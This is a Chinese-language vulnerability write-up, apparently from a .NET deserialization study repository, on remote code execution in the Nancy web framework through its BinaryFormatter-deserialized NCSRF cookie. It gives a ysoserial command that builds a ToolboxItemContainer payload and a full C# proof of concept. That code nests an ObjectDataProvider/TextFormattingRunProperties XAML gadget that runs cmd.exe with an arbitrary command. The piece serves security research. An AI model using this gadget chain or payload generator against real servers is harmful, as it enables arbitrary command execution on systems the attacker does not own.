https://github.com/Y4er/dotnet-deserialization/blob/main/Nancy.md

Nancy

Nancy是一个轻量级web框架,其cookie中NCSRF字段使用binaryformatter进行序列化反序列化,造成rce。本文主要讲解其反序列化漏洞及ToolboxItemContainer攻击链。

直接从GitHub下载nancy的demo案例 https://github.com/NancyFx/Nancy.Demo.Samples

image-20240226150317588

这样就是运行成功了

image-20240226202457157

对这个cookie值进行base64解码后发现

image-20240226202608165

发现是使用binaryformatter进行序列化存储cookie

用yso来生成payload

1
ysoserial.exe -f binaryformatter -g ToolboxItemContainer -c calc

image-20240226202741516

image-20240226202855166

执行成功

反序列化点在 Nancy.DefaultObjectSerializer.Deserialize()

image-20240226204356468

Gadgets

这里这个yso的链子主要用的是ToolboxItemContainer这个链子

image-20240226204125307

实现了ISerializable这个接口 那么等会其Objectdata方法肯定是会用到的

直接来看ToolboxItemSerializer的反序列化构造函数

image-20240226204509534

这里获取序列化字节流

image-20240226204726619

然后在这使用BinaryFormatter进行反序列化 所以我们只需要给ToolboxItemContainer类中的Stream参数传入我们构造的恶意字节流就行了

这里就得用我们前面学到的ObjectDataProviderTextFormattingRunProperties

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
using Microsoft.VisualStudio.Text.Formatting;
using System;
using System.Collections.Specialized;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Windows.Data;
using System.Windows.Markup;

namespace NancySerialize
{
class Program
{
static void Main(string[] args)
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
byte[] vs;
using (MemoryStream memory = new MemoryStream())
{
binaryFormatter.Serialize(memory, new TextFormattingRunPropertiesMarshal("calc"));
vs = memory.ToArray();
}
ToolboxItemSerializerMarshal toolBox = new ToolboxItemSerializerMarshal(vs);
using (MemoryStream memoryStream = new MemoryStream())
{
binaryFormatter.Serialize(memoryStream, toolBox);
memoryStream.Position = 0;
binaryFormatter.Deserialize(memoryStream);
}
}
}
[Serializable]
public class ToolboxItemSerializerMarshal : ISerializable
{
public ToolboxItemSerializerMarshal(byte[] payload)
{
Payload = payload;
}

private byte[] Payload { get; }
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(Type.GetType("System.Drawing.Design.ToolboxItemContainer+ToolboxItemSerializer, System.Drawing.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"));
info.AddValue("AssemblyName", new AssemblyName());
info.AddValue("Stream", Payload);
}
}
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
public static string gadget(string cmd)
{
// ObjectDataProvider
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = $"/c {cmd}";
StringDictionary dict = new StringDictionary();
psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
Process p = new Process();
p.StartInfo = psi;
ObjectDataProvider odp = new ObjectDataProvider();
odp.MethodName = "Start";
odp.IsInitialLoadEnabled = false;
odp.ObjectInstance = p;

return XamlWriter.Save(odp);
}
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
{
}
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string cmd)
{
_xaml = gadget(cmd);
}
public TextFormattingRunPropertiesMarshal()
{
_xaml = gadget("calc");
}
}
}

简单来讲就是ObjectDataProviderTextFormattingRunProperties生成payload 然后在序列化的时候讲序列化字节流给ToolboxItemContainer类里的Stream参数赋值

image-20240226205529437

这个类是生成xaml的payload 然后在GetObjectData函数中对TextFormattingRunProperties的_xaml参数进行赋值

image-20240226205738291

image-20240226205812311

这个就是我们的本篇文章主要用的类了ToolboxItemContainer 其构造函数和GetObjectData函数就是为了给里面的Stream参数赋值的

image-20240226205936240

然后再看起main函数 写的和我们一样 就是先序列化TextFormattingRunPropertiesMarshal这个类 生成字节流 然后再序列化ToolboxItemSerializerMarshal这个类 将Stream参数进行赋值 然后再反序列化就行了

image-20240226210155219